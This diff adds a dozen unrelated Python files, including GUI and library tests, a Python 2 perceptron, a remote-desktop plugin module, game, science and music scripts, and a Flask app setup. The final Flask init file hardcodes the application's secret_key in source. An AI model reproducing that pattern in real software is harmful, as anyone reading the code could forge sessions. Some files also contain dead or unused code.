diff --git a/pool/shard000/Python/0008028_test_magic_gui.py b/pool/shard000/Python/0008028_test_magic_gui.py
new file mode 100644
index 0000000000000000000000000000000000000000..aa5e40fd3cb5667cd9243d760f120c7fe6830879
--- /dev/null
+++ b/pool/shard000/Python/0008028_test_magic_gui.py
@@ -0,0 +1,174 @@
+"""
+tests for magic_gui
+"""
+
+import wx
+import unittest
+import os
+from programs import magic_gui
+from pmagpy import new_builder as nb
+from dialogs import grid_frame3 as grid_frame
+#import dialogs.pmag_widgets as pmag_widgets
+from pmagpy import pmag
+from pmagpy import data_model3 as data_model
+
+# set constants
+DMODEL = data_model.DataModel()
+WD = pmag.get_test_WD()
+PROJECT_WD = os.path.join(WD, "data_files", "magic_gui", "3_0")
+
+
+class TestMainFrame(unittest.TestCase):
+
+    def setUp(self):
+        self.app = wx.App()
+        self.frame = magic_gui.MainFrame(PROJECT_WD,
+                                         name="best frame ever",
+                                         dmodel=DMODEL)
+        self.frame.get_wd_data()
+        self.pnl = self.frame.GetChildren()[0]
+
+    def tearDown(self):
+#        wx.CallAfter(self.frame.Destroy)
+#        wx.CallAfter(self.app.Destroy)
+        os.chdir(WD)
+
+    def test_main_panel_is_created(self):
+        """
+        test for existence of main panel
+        """
+        self.assertTrue(self.pnl.IsEnabled())
+        self.assertEqual("main panel", str(self.pnl.GetName()))
+        self.assertEqual("best frame ever", str(self.frame.GetName()))
+        self.assertEqual(magic_gui.MainFrame, type(self.frame))
+
+
+    def test_data_object_is_created(self):
+        self.assertEqual(nb.Contribution, type(self.frame.contribution))
+        self.assertIn('measurements', self.frame.contribution.tables)
+        self.assertIn('specimens', self.frame.contribution.tables)
+        self.assertIn('samples', self.frame.contribution.tables)
+        self.assertEqual('sr01g2', self.frame.contribution.tables['specimens'].df.index[1])
+
+
+    def test_specimen_button(self):
+        window = self.does_top_window_exist(self.pnl, 'specimens_btn', 'specimens')
+        self.assertTrue(window, 'specimens grid window was not created')
+        self.assertIsInstance(window, grid_frame.GridFrame)
+        self.assertTrue(window.IsEnabled())
+        wx.CallAfter(self.assertTrue,window.IsShown())
+
+    def test_sample_button(self):
+        window = self.does_top_window_exist(self.pnl, 'samples_btn', 'samples')
+        self.assertTrue(window, 'samples grid window was not created')
+        self.assertIsInstance(window, grid_frame.GridFrame)
+        self.assertTrue(window.IsEnabled())
+        wx.CallAfter(self.assertTrue,window.IsShown())
+
+    def test_site_button(self):
+        window = self.does_top_window_exist(self.pnl, 'sites_btn', 'sites')
+        self.assertTrue(window, 'sites grid window was not created')
+        self.assertIsInstance(window, grid_frame.GridFrame)
+        self.assertTrue(window.IsEnabled())
+        wx.CallAfter(self.assertTrue,window.IsShown())
+
+    def test_location_button(self):
+        window = self.does_top_window_exist(self.pnl, 'locations_btn', 'locations')
+        self.assertTrue(window, 'locations grid window was not created')
+        self.assertIsInstance(window, grid_frame.GridFrame)
+        self.assertTrue(window.IsEnabled())
+        wx.CallAfter(self.assertTrue,window.IsShown())
+
+
+    def test_age_button(self):
+        window = self.does_top_window_exist(self.pnl, 'ages_btn', 'ages')
+        self.assertTrue(window, 'age grid window was not created')
+        self.assertIsInstance(window, grid_frame.GridFrame)
+        self.assertTrue(window.IsEnabled())
+        wx.CallAfter(self.assertTrue,window.IsShown())
+
+
+    def does_top_window_exist(self, parent, btn_name, window_name):
+        """
+        produces a click event on the button called btn_name,
+        see if it produces a top-level window called window_name
+        """
+        btn = None
+        children = parent.GetChildren()
+        print(", ".join([child.GetName() for child in children]))
+        for child in children:
+            if child.GetName() == btn_name:
+                btn = child
+                break
+        if not btn:
+            return None
+        event = wx.CommandEvent(wx.wxEVT_COMMAND_BUTTON_CLICKED, btn.GetId())
+        btn.GetEventHandler().ProcessEvent(event)
+        for wind in wx.GetTopLevelWindows():
+            if wind.GetName() == window_name:
+                return wind
+        return None
+
+
+class TestMagICGUIMenu(unittest.TestCase):
+
+
+    def setUp(self):
+        self.app = wx.App()
+        self.frame = magic_gui.MainFrame(PROJECT_WD, name="best frame ever",
+                                         dmodel=DMODEL)
+        self.frame.get_wd_data()
+        self.pnl = self.frame.GetChildren()[0]
+        self.contribution = self.frame.contribution
+
+    def tearDown(self):
+        #self.frame.Destroy() # this does not work and causes strange errors
+        for wind in wx.GetTopLevelWindows():
+            res = wind.Destroy()
+        self.app.Destroy()
+        os.chdir(WD)
+
+    def test_that_all_menus_exist(self):
+        """
+        check that all expected menus were created
+        and that each menu item is enabled
+        """
+        menu_names = ['File', 'Help ']
+        menus = self.frame.MenuBar.Menus
+        found_menus = []
+        for menu, menu_name in menus:
+            self.assertIsInstance(menu, wx.Menu)
+            for item in menu.GetMenuItems():
+                self.assertTrue(item.IsEnabled())
+            self.assertIn(menu_name, menu_names)
+            found_menus.append(menu_name)
+        self.assertEqual(set(menu_names), set(found_menus))
+
+
+    def test_show_mainframe(self):
+        menus = self.frame.MenuBar.Menus
+        fmenu, fmenu_name = menus[0]
+
+        # once you have the correct menu
+        show_id = fmenu.FindItem('Show main window')
+        show_item = fmenu.FindItemById(show_id)
+
+        self.frame.Hide()
+        self.assertFalse(self.frame.IsShown())
+
+        event = wx.CommandEvent(wx.EVT_MENU.evtType[0], show_id)
+        self.frame.GetEventHandler().ProcessEvent(event)
+        self.assertTrue(self.frame.IsShown())
+
+    def test_close_grid(self):
+        self.frame.grid_frame = grid_frame.GridFrame(self.contribution, PROJECT_WD,
+                                                     "specimens", "specimens")
+        self.assertTrue(self.frame.grid_frame.IsShown())
+        menus = self.frame.MenuBar.Menus
+        fmenu, fmenu_name = menus[0]
+        # once you have the correct menu
+        close_id = fmenu.FindItem('Close current grid')
+        close_item = fmenu.FindItemById(close_id)
+
+        event = wx.CommandEvent(wx.EVT_MENU.evtType[0], close_id)
+        self.frame.GetEventHandler().ProcessEvent(event)
diff --git a/pool/shard000/Python/0008030_neural_network.py b/pool/shard000/Python/0008030_neural_network.py
new file mode 100644
index 0000000000000000000000000000000000000000..b8b47fdddc0227b44ff443e61f6b9be0690f9ba0
--- /dev/null
+++ b/pool/shard000/Python/0008030_neural_network.py
@@ -0,0 +1,128 @@
+import math
+
+class Perceptron(object):
+    """
+    Base class of a neuron using the perceptron algorithm.
+
+    Arguments:
+    size_inputs -- Integer : the size of the input of the neuron
+    """
+    def __init__(self, size_inputs):
+        super(Perceptron, self).__init__()
+        self.size_inputs = size_inputs
+        self.weights = tuple(0 for _ in xrange(self.size_inputs))
+
+    def apply_weight(self, inputs):
+        """
+        Apply weight of the neuron of the input *inputs*.
+
+        Arguments:
+        inputs -- [Real] : Input
+
+        Returns:
+        [Real] : The ponderated vector input
+
+        Raises:
+        AssertionError : if the length of the input is different of the length
+        of
+        the weights
+        """
+        assert len(inputs) == self.size_inputs
+        W = self.weights
+        return [x * w for w, x in zip(inputs, W)]
+
+    @classmethod
+    def aggregate(_, weighted_input):
+        """
+        Aggragate function of a learning machine with neural network.
+        Sum the vector *weighted_input* and return the result.
+
+        Arguments:
+        weighted_input -- [Real] : Vector to aggregate
+
+        Returns:
+        Real : Sum of the vector *weighted_input*
+        """
+        return sum(weighted_input)
+
+    @classmethod
+    def threshold(_, aggregated_input):
+        """
+        Threashold function of a learning machine with neural network.
+        Put *aggregated_input* into a sigmoid function and return the result.
+
+        Arguments:
+        aggregated_input -- Real : Input of the threashold function.
+
+        Returns:
+        Real [0 ; 1] : An real between 0 and 1 corresponding to the result of a
+        sigmoid function.
+        """
+        return 1 if aggregated_input >= 0 else 0
+        param = 1.0
+        try:
+            return 1.0 / (1.0 + math.exp(-param * aggregated_input))
+        except OverflowError:
+            return 1.0
+
+    def weights_fix(self, X, true_result, result):
+        """
+        Learning rule fixing the current weight by considering the distance
+        between the expected result *true_result* and the obtained result
+        *result* with the input *inputs*.
+
+        Arguments:
+        X           -- [Real] : Input used with the current experience
+        true_result -- Real : Expected result of the experience
+        result      -- Real : Obtained result
+
+        Raises:
+        AssertionError : if the length of the input is different of the length
+        of the weights
+        """
+        assert len(X) == self.size_inputs
+        learning_step = 0.1
+        dr = true_result - result
+        W = self.weights
+        self.weights = tuple(w + learning_step * dr * x for w, x in zip(W, X))
+
+    def eval(self, X):
+        """
+        Apply the logic neural network system on the input *X*.
+
+        Arguments:
+        X -- [Real] : Input
+
+        Returns:
+        Real : the solution calculated by the neuron.
+        """
+        return Perceptron.threshold(Perceptron.aggregate(self.apply_weight(X)))
+
+    def learn(self, X, result):
+        """
+        Eval the input *X* with the neuron and compare it with the expected
+        result *result* to learn the neuron.
+
+        Arguments:
+        X      -- [Real] : Input
+        result -- Real : Expected result
+
+        Returns:
+        The current evaluation of the input by the neuron.
+        """
+        r = self.eval(X)
+        self.weights_fix(X, result, r)
+        return r
+
+if __name__ == '__main__':
+    inputs = [(1, 0, 0), (1, 0, 1), (1, 1, 0), (1, 1, 1)]
+    results = [0, 0, 0, 1]
+    neuron = Perceptron(3)
+    error = True
+
+    while error:
+        error = False
+        for X, R in zip(inputs, results):
+            res = neuron.learn(X, R)
+            print X, R, res
+            error |= res != R
diff --git a/pool/shard000/Python/0008039_init__.py b/pool/shard000/Python/0008039_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..e40aa59a1bded29b2322006e738d5f6ec94f5117
--- /dev/null
+++ b/pool/shard000/Python/0008039_init__.py
@@ -0,0 +1,134 @@
+import subprocess
+import json
+import redis
+
+from vFense.plugins.ra import _db as db
+
+PluginName = "ra"
+
+MaxConnections = 3
+CurrentConnections = 0
+
+StartPort = 10000
+EndPort = 11000
+
+PortRange = range(StartPort, EndPort)
+
+db.ra_initialization()
+
+
+def session_exist(agent_id):
+
+    conn, session = db.connection_exist(agent_id=agent_id)
+    if conn:
+
+        return True, (session[RaKey.Status], session[RaKey.WebPort])
+
+    else:
+
+        return False, None
+
+
+def get_feedback_channel(agent_id):
+
+    return "%s_%s" % (Channel.Feedback, agent_id)
+
+
+def add_feedback(
+    agent_id,
+    status,
+    message='',
+    web_port='',
+    port='',
+    uri='',
+    hostname=''
+):
+
+    redis_client = redis.Redis()
+
+    fb = {
+        RaKey.AgentId: agent_id,
+        RaKey.Status: status,
+        RaKey.Message: message,
+        RaKey.WebPort: web_port,
+        RaKey.Uri: uri,
+        RaKey.Hostname: hostname
+    }
+
+    redis_client.publish(
+        get_feedback_channel(agent_id),
+        json.dumps(fb)
+    )
+
+
+class RaUri():
+
+    StartRemoteDesktop = '/api/ra/rd/%s/'
+    StopRemoteDesktop = '/api/ra/rd/%s/'
+    Password = '/api/ra/rd/password/'
+
+    RdResults = '/rvl/ra/rd/results'
+    PasswordResults = '/rvl/ra/rd/password'
+
+
+class Channel():
+
+    Feedback = 'ra_feedback'
+
+
+class Status():
+
+    Waiting = 'waiting'
+    Error = 'error'
+    Ready = 'ready'
+    Closing = 'closing'
+    Closed = 'closed'
+    Timeout = 'timeout'
+
+
+class RaKey():
+
+    ReverseTunnel = 'reverse_tunnel'
+    AgentId = 'agent_id'
+    Status = 'status'
+    Message = 'message'
+    WebPort = 'web_port'
+    Port = 'port'  # Should be an alias to WebPort
+    HostPort = 'host_port'
+    PublicKey = 'public_key'
+    Uri = 'uri'
+    Hostname = 'hostname'
+
+
+class RaValue():
+
+    RemoteDesktop = 'start_remote_desktop'
+    StopRemoteDesktop = 'stop_remote_desktop'
+    SetRdPassword = 'set_rd_password'
+
+
+class DesktopProtocol():
+
+    Vnc = 'vnc'
+
+
+def get_hostname():
+
+    return '127.0.0.1'
+    #process = subprocess.Popen(
+    #    ['/bin/hostname'],
+    #    stdout=subprocess.PIPE,
+    #    stderr=subprocess.PIPE
+    #)
+
+    #output, error = process.communicate()
+    #split_out = output.splitlines()
+    #if len(split_out) >= 1:
+    #    return split_out[0]
+
+
+def create_vnc_uri(host, port):
+
+    uri = "ra/%s/%s/vnc.html" % (host, port)
+
+    return uri
diff --git a/pool/shard000/Python/0008040_player_at.py b/pool/shard000/Python/0008040_player_at.py
new file mode 100644
index 0000000000000000000000000000000000000000..3ff88d2e907c4ae9c39067fda24e6c6b3d8b0af0
--- /dev/null
+++ b/pool/shard000/Python/0008040_player_at.py
@@ -0,0 +1,64 @@
+#
+# Tuxemon
+# Copyright (c) 2014-2017 William Edwards <shadowapex@gmail.com>,
+#                         Benjamin Bean <superman2k5@gmail.com>
+#
+# This file is part of Tuxemon
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+from __future__ import annotations
+from tuxemon.event.eventcondition import EventCondition
+from tuxemon.session import Session
+from tuxemon.event import MapCondition
+
+
+class PlayerAtCondition(EventCondition):
+    """
+    Check to see if the player is at the condition position on the map.
+
+    Script usage:
+        .. code-block::
+
+            is player_at
+
+    """
+
+    name = "player_at"
+
+    def test(self, session: Session, condition: MapCondition) -> bool:
+        """
+        Check to see if the player is at the condition position on the map.
+
+        Parameters:
+            session: The session object
+            condition: The map condition object.
+
+        Returns:
+            Whether the player is in the condition position.
+
+        """
+        player = session.player
+
+        # Get the condition's rectangle area. If we're on a tile in that area,
+        # then this condition should return True.
+        area_x = range(condition.x, condition.x + condition.width)
+        area_y = range(condition.y, condition.y + condition.height)
+
+        # If the player is at the coordinates and the operator is set to true
+        # then return true
+        return (
+            round(player.tile_pos[0]) in area_x
+            and round(player.tile_pos[1]) in area_y
+        )
diff --git a/pool/shard000/Python/0008041_overview_model_multi_step.py b/pool/shard000/Python/0008041_overview_model_multi_step.py
new file mode 100644
index 0000000000000000000000000000000000000000..b9205e35912290cb62e0fa8941b952368b7ddd7b
--- /dev/null
+++ b/pool/shard000/Python/0008041_overview_model_multi_step.py
@@ -0,0 +1,35 @@
+import itertools as it
+
+import numpy as np
+import pylab as pl
+
+from triflow import Model, schemes
+
+model = Model("k * dxxU - c * dxU",
+              "U", ["k", "c"])
+
+x, dx = np.linspace(0, 1, 200, retstep=True)
+U = np.cos(2 * np.pi * x * 5)
+fields = model.fields_template(x=x, U=U)
+
+parameters = dict(c=.03, k=.001, dx=dx, periodic=True)
+
+t = 0
+dt = 1E-2
+tmax = 5
+
+pl.plot(fields.x, fields.U, label='t: %g' % t)
+
+scheme = schemes.Theta(model, theta=.5)  # Crank-Nicolson scheme
+
+for i in it.count():
+    t, fields = scheme(t, fields, dt, parameters)
+    if (i + 1) % 100 == 0:
+        pl.plot(fields.x, fields.U, label='t: %g' % t)
+    if t >= tmax:
+        break
+
+pl.xlim(0, 1)
+legend = pl.legend(loc='best')
+
+pl.show()
diff --git a/pool/shard000/Python/0008043_test_irsb_property_caching.py b/pool/shard000/Python/0008043_test_irsb_property_caching.py
new file mode 100644
index 0000000000000000000000000000000000000000..9d0afd1ced868e3469c18ef6155c6ed4f2fe5db3
--- /dev/null
+++ b/pool/shard000/Python/0008043_test_irsb_property_caching.py
@@ -0,0 +1,35 @@
+from future.utils import iteritems
+import pyvex
+import archinfo
+from pyvex.block import IRSB
+import sys
+
+
+def test_cache_invalidation_on_extend():
+    b = pyvex.block.IRSB(b"\x50", 0, archinfo.ArchX86())
+    assert b.size == 1
+    assert b.instructions == 1
+    toappend = pyvex.block.IRSB(b"\x51", 0, archinfo.ArchX86())
+    toappend.jumpkind = "Ijk_Invalid"
+    toappend._direct_next = (
+        None  # Invalidate the cache because I manually changed the jumpkind
+    )
+    assert not toappend.direct_next
+    b.extend(toappend)
+    assert b.size == 2
+    assert b.instructions == 2
+    assert not b.direct_next
+
+
+def run_all():
+    g = globals()
+    for k, v in iteritems(g):
+        if k.startswith("test_") and hasattr(v, "__call__"):
+            v()
+
+
+if __name__ == "__main__":
+    if len(sys.argv) > 1:
+        globals()["test_" + sys.argv[1]]()
+    else:
+        run_all()
diff --git a/pool/shard000/Python/0008044_test_for_each.py b/pool/shard000/Python/0008044_test_for_each.py
new file mode 100644
index 0000000000000000000000000000000000000000..f3f33ab4db4567aa5dcb36bb8b70c097bbe33846
--- /dev/null
+++ b/pool/shard000/Python/0008044_test_for_each.py
@@ -0,0 +1,45 @@
+from hamcrest import assert_that, equal_to, is_
+
+from microcosm_pubsub.chain import Chain
+from microcosm_pubsub.chain.statements import for_each
+
+
+def test_for_each():
+    chain = Chain(
+        for_each("item").in_("items").do(
+            Chain(lambda item: item.upper()),
+        ),
+        Chain(lambda item_list: list(reversed(item_list))),
+    )
+
+    assert_that(
+        chain(items=["a", "b", "c"]),
+        is_(equal_to(["C", "B", "A"])),
+    )
+
+
+def test_for_each_simplified():
+    chain = Chain(
+        for_each("item").in_("items").do(
+            lambda item: item.upper(),
+        ).as_("lst"),
+        lambda lst: list(reversed(lst)),
+    )
+
+    assert_that(
+        chain(items=["a", "b", "c"]),
+        is_(equal_to(["C", "B", "A"])),
+    )
+
+
+def test_for_each_when():
+    chain = Chain(
+        for_each("item").in_("items").do(
+            lambda item: None if item % 2 else item,
+        ).when_not_none(),
+    )
+
+    assert_that(
+        chain(items=[0, 1, 2, 3, 4, 5]),
+        is_(equal_to([0, 2, 4])),
+    )
diff --git a/pool/shard000/Python/0008046_tags.py b/pool/shard000/Python/0008046_tags.py
new file mode 100644
index 0000000000000000000000000000000000000000..4a769aad6387aaf043098c20341043a2684eb467
--- /dev/null
+++ b/pool/shard000/Python/0008046_tags.py
@@ -0,0 +1,93 @@
+# https://github.com/funkybob/django-array-tags
+
+from django.contrib.postgres.fields import ArrayField
+from django.db import models
+from django.db.models import Count, QuerySet, F
+
+
+class TagField(ArrayField):
+    def __init__(self, **kwargs):
+        self.lower = kwargs.pop('lower', True)
+        kwargs.setdefault('blank', True)
+        kwargs.setdefault('base_field', models.CharField(max_length=50))
+        super(TagField, self).__init__(**kwargs)
+
+    def pre_save(self, model_instance, add):
+        """Trim whitspace and deduplicate values."""
+        values = super(TagField, self).pre_save(model_instance, add)
+        if values is None:
+            return []
+        values = {val.strip() for val in values}
+        if self.lower:
+            values = {val.lower() for val in values}
+        return tuple(values)
+
+    def contribute_to_class(self, cls, name, virtual_only=False):
+        """Add a 'get_{name}_most_like' method."""
+        super(TagField, self).contribute_to_class(cls, name, virtual_only)
+
+        def get_most_like_by_FIELD(self, exclude_self=True, field=name):
+            qset = self._default_manager.all()
+            if exclude_self:
+                qset = qset.exclude(pk=self.pk)
+            return qset.most_like(field, getattr(self, field))
+
+
+class Unnest(models.Func):
+    function = 'unnest'
+    arity = 1
+
+
+class ArrayLength(models.Func):
+    function = 'array_length'
+    arity = 1
+
+
+class Intersect(models.Func):
+    template = """
+                    array_length(ARRAY(
+                                    SELECT *
+                                    FROM UNNEST(%(field)s)
+                                    WHERE UNNEST = ANY(%(value)s)), 1)
+                """
+    output_field = models.IntegerField()
+    arity = 2
+
+    def as_sql(self, compiler, connection, function=None, template=None):
+        field_sql, field_params = compiler.compile(self.source_expressions[0])
+        value_sql, value_params = compiler.compile(self.source_expressions[1])
+
+        template = template or self.extra.get('template', self.template)
+        return (
+            template % {'field': field_sql, 'value': value_sql},
+            field_params + value_params,
+        )
+
+
+class TagQuerySet(QuerySet):
+    """Mix into your tagged model to provide extra helpers"""
+    def all_tag_values(self, name):
+        return (
+            self.order_by()
+            .annotate(_v=Unnest(name))
+            .values_list('_v', flat=True)
+            .distinct()
+        )
+
+    def count_tag_values(self, name):
+        return (
+            self.order_by('_v')
+            .annotate(_v=Unnest(name))
+            .values('_v')
+            .annotate(count=Count('*'))
+            .values_list('_v', 'count')
+        )
+
+    def most_like(self, field, tags):
+        '''
+        '''
+        return (
+            self.order_by()
+            .annotate(similarity=Intersect(F(field), tags))
+            .order_by('-similarity')
+        )
diff --git a/pool/shard000/Python/0008049_LicenseKeyFormatting.py b/pool/shard000/Python/0008049_LicenseKeyFormatting.py
new file mode 100644
index 0000000000000000000000000000000000000000..172b23717caf4ddbcb37598c41eb6c7c74061a70
--- /dev/null
+++ b/pool/shard000/Python/0008049_LicenseKeyFormatting.py
@@ -0,0 +1,60 @@
+# -*- coding: utf-8 -*-
+
+# Authors: Y. Jia <ytjia.zju@gmail.com>
+
+"""
+Now you are given a string S, which represents a software license key which we would like to
+format. The string S is composed of alphanumerical characters and dashes. The dashes split the
+alphanumerical characters within the string into groups. (i.e. if there are M dashes, the string is
+split into M+1 groups). The dashes in the given string are possibly misplaced.
+
+We want each group of characters to be of length K (except for possibly the first group, which
+could be shorter, but still must contain at least one character). To satisfy this requirement, we
+will reinsert dashes. Additionally, all the lower case letters in the string must be converted to
+upper case.
+
+So, you are given a non-empty string S, representing a license key to format, and an integer K. And
+you need to return the license key formatted according to the description above.
+
+https://leetcode.com/problems/license-key-formatting/description/
+"""
+
+
+class Solution(object):
+    _ord_a = ord('a')
+    _ord_z = ord('z')
+    _offset = ord('A') - ord('a')
+
+    def licenseKeyFormatting(self, S, K):
+        """
+        :type S: str
+        :type K: int
+        :rtype: str
+        """
+        length = len(S)
+        i = length - 1
+        j = 0
+        transformed_list = list()
+        while i >= 0:
+            cur_char = S[i]
+            if cur_char == '-':
+                pass
+            elif ord(cur_char) >= self._ord_a and ord(cur_char) <= self._ord_z:
+                transformed_list.append(chr(ord(cur_char) + self._offset))
+                j += 1
+            else:
+                transformed_list.append(cur_char)
+                j += 1
+            if j == K:
+                transformed_list.append('-')
+                j = 0
+            i -= 1
+
+        if len(transformed_list) > 0 and transformed_list[-1] == '-':
+            del transformed_list[-1]
+        transformed_list.reverse()
+        return ''.join(transformed_list)
+
+
+if __name__ == '__main__':
+    print(Solution().licenseKeyFormatting("2-4A0r7-4k", 4))
diff --git a/pool/shard000/Python/0008050_extension.py b/pool/shard000/Python/0008050_extension.py
new file mode 100644
index 0000000000000000000000000000000000000000..4625e04c73a646590b4d0e18b339d687b493f478
--- /dev/null
+++ b/pool/shard000/Python/0008050_extension.py
@@ -0,0 +1,105 @@
+# ExtensionImporter (```flask.exthook```)
+# ----------------------------------
+# :copyright: (c) 2014 by Armin Ronacher.
+# :license: BSD, see LICENSE for more details.
+
+from plex.lib.six import reraise
+
+import os
+import sys
+
+
+class ExtensionImporter(object):
+    """This importer redirects imports from this submodule to other locations.
+    This makes it possible to transition from the old flaskext.name to the
+    newer flask_name without people having a hard time.
+    """
+
+    def __init__(self, module_choices, wrapper_module):
+        self.module_choices = module_choices
+        self.wrapper_module = wrapper_module
+        self.prefix = wrapper_module + '.'
+        self.prefix_cutoff = wrapper_module.count('.') + 1
+
+    def __eq__(self, other):
+        return self.__class__.__module__ == other.__class__.__module__ and \
+               self.__class__.__name__ == other.__class__.__name__ and \
+               self.wrapper_module == other.wrapper_module and \
+               self.module_choices == other.module_choices
+
+    def __ne__(self, other):
+        return not self.__eq__(other)
+
+    def install(self):
+        sys.meta_path[:] = [x for x in sys.meta_path if self != x] + [self]
+
+    def find_module(self, fullname, path=None):
+        if fullname.startswith(self.prefix):
+            return self
+
+    def load_module(self, fullname):
+        if fullname in sys.modules:
+            return sys.modules[fullname]
+        modname = fullname.split('.', self.prefix_cutoff)[self.prefix_cutoff]
+        for path in self.module_choices:
+            realname = path % modname
+            try:
+                __import__(realname)
+            except ImportError:
+                exc_type, exc_value, tb = sys.exc_info()
+                # since we only establish the entry in sys.modules at the
+                # very this seems to be redundant, but if recursive imports
+                # happen we will call into the move import a second time.
+                # On the second invocation we still don't have an entry for
+                # fullname in sys.modules, but we will end up with the same
+                # fake module name and that import will succeed since this
+                # one already has a temporary entry in the modules dict.
+                # Since this one "succeeded" temporarily that second
+                # invocation now will have created a fullname entry in
+                # sys.modules which we have to kill.
+                sys.modules.pop(fullname, None)
+
+                # If it's an important traceback we reraise it, otherwise
+                # we swallow it and try the next choice.  The skipped frame
+                # is the one from __import__ above which we don't care about
+                if self.is_important_traceback(realname, tb):
+                    reraise(exc_type, exc_value, tb.tb_next)
+                continue
+            module = sys.modules[fullname] = sys.modules[realname]
+            if '.' not in modname:
+                setattr(sys.modules[self.wrapper_module], modname, module)
+            return module
+        raise ImportError('No module named %s' % fullname)
+
+    def is_important_traceback(self, important_module, tb):
+        """Walks a traceback's frames and checks if any of the frames
+        originated in the given important module.  If that is the case then we
+        were able to import the module itself but apparently something went
+        wrong when the module was imported.  (Eg: import of an import failed).
+        """
+        while tb is not None:
+            if self.is_important_frame(important_module, tb):
+                return True
+            tb = tb.tb_next
+        return False
+
+    def is_important_frame(self, important_module, tb):
+        """Checks a single frame if it's important."""
+        g = tb.tb_frame.f_globals
+        if '__name__' not in g:
+            return False
+
+        module_name = g['__name__']
+
+        # Python 2.7 Behavior.  Modules are cleaned up late so the
+        # name shows up properly here.  Success!
+        if module_name == important_module:
+            return True
+
+        # Some python versions will will clean up modules so early that the
+        # module name at that point is no longer set.  Try guessing from
+        # the filename then.
+        filename = os.path.abspath(tb.tb_frame.f_code.co_filename)
+        test_string = os.path.sep + important_module.replace('.', os.path.sep)
+        return test_string + '.py' in filename or \
+               test_string + os.path.sep + '__init__.py' in filename
diff --git a/pool/shard000/Python/0008051_definition.py b/pool/shard000/Python/0008051_definition.py
new file mode 100644
index 0000000000000000000000000000000000000000..fe1235fdba4916a74da451760e8742a8be5597e7
--- /dev/null
+++ b/pool/shard000/Python/0008051_definition.py
@@ -0,0 +1,24 @@
+import os
+import abjad
+import string_trio
+
+
+segment_maker = string_trio.tools.SegmentMaker(
+    time_signatures=2 * [(4, 4), (3, 4), (5, 4)],
+    cello_pitches=[0, 2, 3, 4],
+    cello_rhythm_maker=string_trio.tools.my_droning_rhythm_maker,
+    viola_pitches=[0, 2],
+    viola_rhythm_maker=string_trio.tools.my_slow_rhythm_maker,
+    violin_pitches=[0, 2],
+    violin_rhythm_maker=string_trio.tools.my_fast_rhythm_maker,
+)
+
+
+if __name__ == "__main__":
+    lilypond_file, _ = segment_maker()
+    illustration_path = os.path.join(
+        os.path.dirname(__file__),
+        "illustration.pdf",
+    )
+    abjad.persist.as_pdf(lilypond_file, illustration_path)
+    os.system(f"open {illustration_path}")
diff --git a/pool/shard000/Python/0008055_partial_object.py b/pool/shard000/Python/0008055_partial_object.py
new file mode 100644
index 0000000000000000000000000000000000000000..ae59f653a0b7dd901edd98b88382ff4fd0e49114
--- /dev/null
+++ b/pool/shard000/Python/0008055_partial_object.py
@@ -0,0 +1,33 @@
+from datastack import *
+
+ds = DataStack()
+
+load_pha(ds, 'data/acis_1_pha3.fits') 
+load_pha(ds, 'data/acis_2_pha3.fits') 
+load_pha(ds, 'data/acis_3_pha3.fits') 
+load_pha(ds, 'data/acis_4_pha3.fits') 
+
+group_counts(ds, 20)
+
+ignore(ds, None, 0.5)
+ignore(ds, 7, None)
+ignore(ds[3,4], 6.0, None) # Ignore more for datasets 3, 4
+
+subtract(ds)
+
+set_source(ds[1,3], xsphabs.gal * powlaw1d.powID)
+set_source(ds[2,4], xsphabs.gal * powlaw1d.powID + gauss1d.gaussID)
+
+set_par(ds, 'gauss.fwhm', 0.5)
+set_par(ds, 'gauss.pos', 5)
+freeze(ds, 'gauss.fwhm')
+freeze(ds, 'gauss.pos')
+
+link(ds, 'pow.gamma')
+set_par(ds, 'gal.nh', 0.04)
+
+fit(ds)
+print 'pow.gamma:', get_par(ds, 'pow.gamma.val')
+print 'pow.ampl:', get_par(ds, 'pow.ampl.val')
+
+plot_fit_resid(ds)
diff --git a/pool/shard000/Python/0008059_init__.py b/pool/shard000/Python/0008059_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..34b45ac76d2d452b4117081ec06f8edfc28903fd
--- /dev/null
+++ b/pool/shard000/Python/0008059_init__.py
@@ -0,0 +1,71 @@
+from flask import Flask
+from database import db
+from flask_login import LoginManager
+import logging
+
+from werkzeug.contrib.sessions import FilesystemSessionStore
+
+from export_to_excel.app import export_app
+app = Flask(__name__)
+app.register_blueprint(export_app)
+
+app.secret_key = '\x16\xc8?\xe2j\xce\x13\x89@<\xb52\x17XC\xc8\xa7\xa8\xba\xe1a\xcar:'
+
+from config import PROD, DEBUG
+app.config['DEBUG']=DEBUG
+
+from config import ECHO, DATABASE_URI, SQLALCHEMY_TRACK_MODIFICATIONS
+
+app.config['SQLALCHEMY_DATABASE_URI'] = DATABASE_URI
+app.config['SQLALCHEMY_ECHO'] = ECHO
+app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = SQLALCHEMY_TRACK_MODIFICATIONS
+
+login_manager = LoginManager()
+login_manager.init_app(app)
+
+login_manager.login_view = 'login'
+
+try:
+    from config import AMBIENTE
+except ImportError:
+    AMBIENTE = 'windows'
+
+from config import UPLOADS_DEFAULT_DEST
+
+app.config['UPLOADS_DEFAULT_DEST'] = UPLOADS_DEFAULT_DEST
+app.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024
+
+from flask_uploads import configure_uploads
+from uploadsets import anexos_upload
+
+configure_uploads(app, (anexos_upload,))
+
+db.init_app(app)
+
+try:
+    from config import LOG, LOGPATH
+except ImportError:
+    LOGPATH = 'C:\Temp\logs'
+
+logger = logging.getLogger()
+logger.setLevel(logging.ERROR)    
+    
+if LOG:
+    import logging.handlers
+    
+    fh = logging.handlers.RotatingFileHandler(LOGPATH, maxBytes=10 * 1024 * 1024)
+    fh.setLevel(logging.ERROR)
+
+    ch = logging.StreamHandler()
+    ch.setLevel(logging.ERROR)
+
+    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
+    ch.setFormatter(formatter)
+    fh.setFormatter(formatter)
+
+    logger.addHandler(ch)
+    logger.addHandler(fh)
+
+    logger.info(u'Starting...')
+
+from cnddh import views, filters
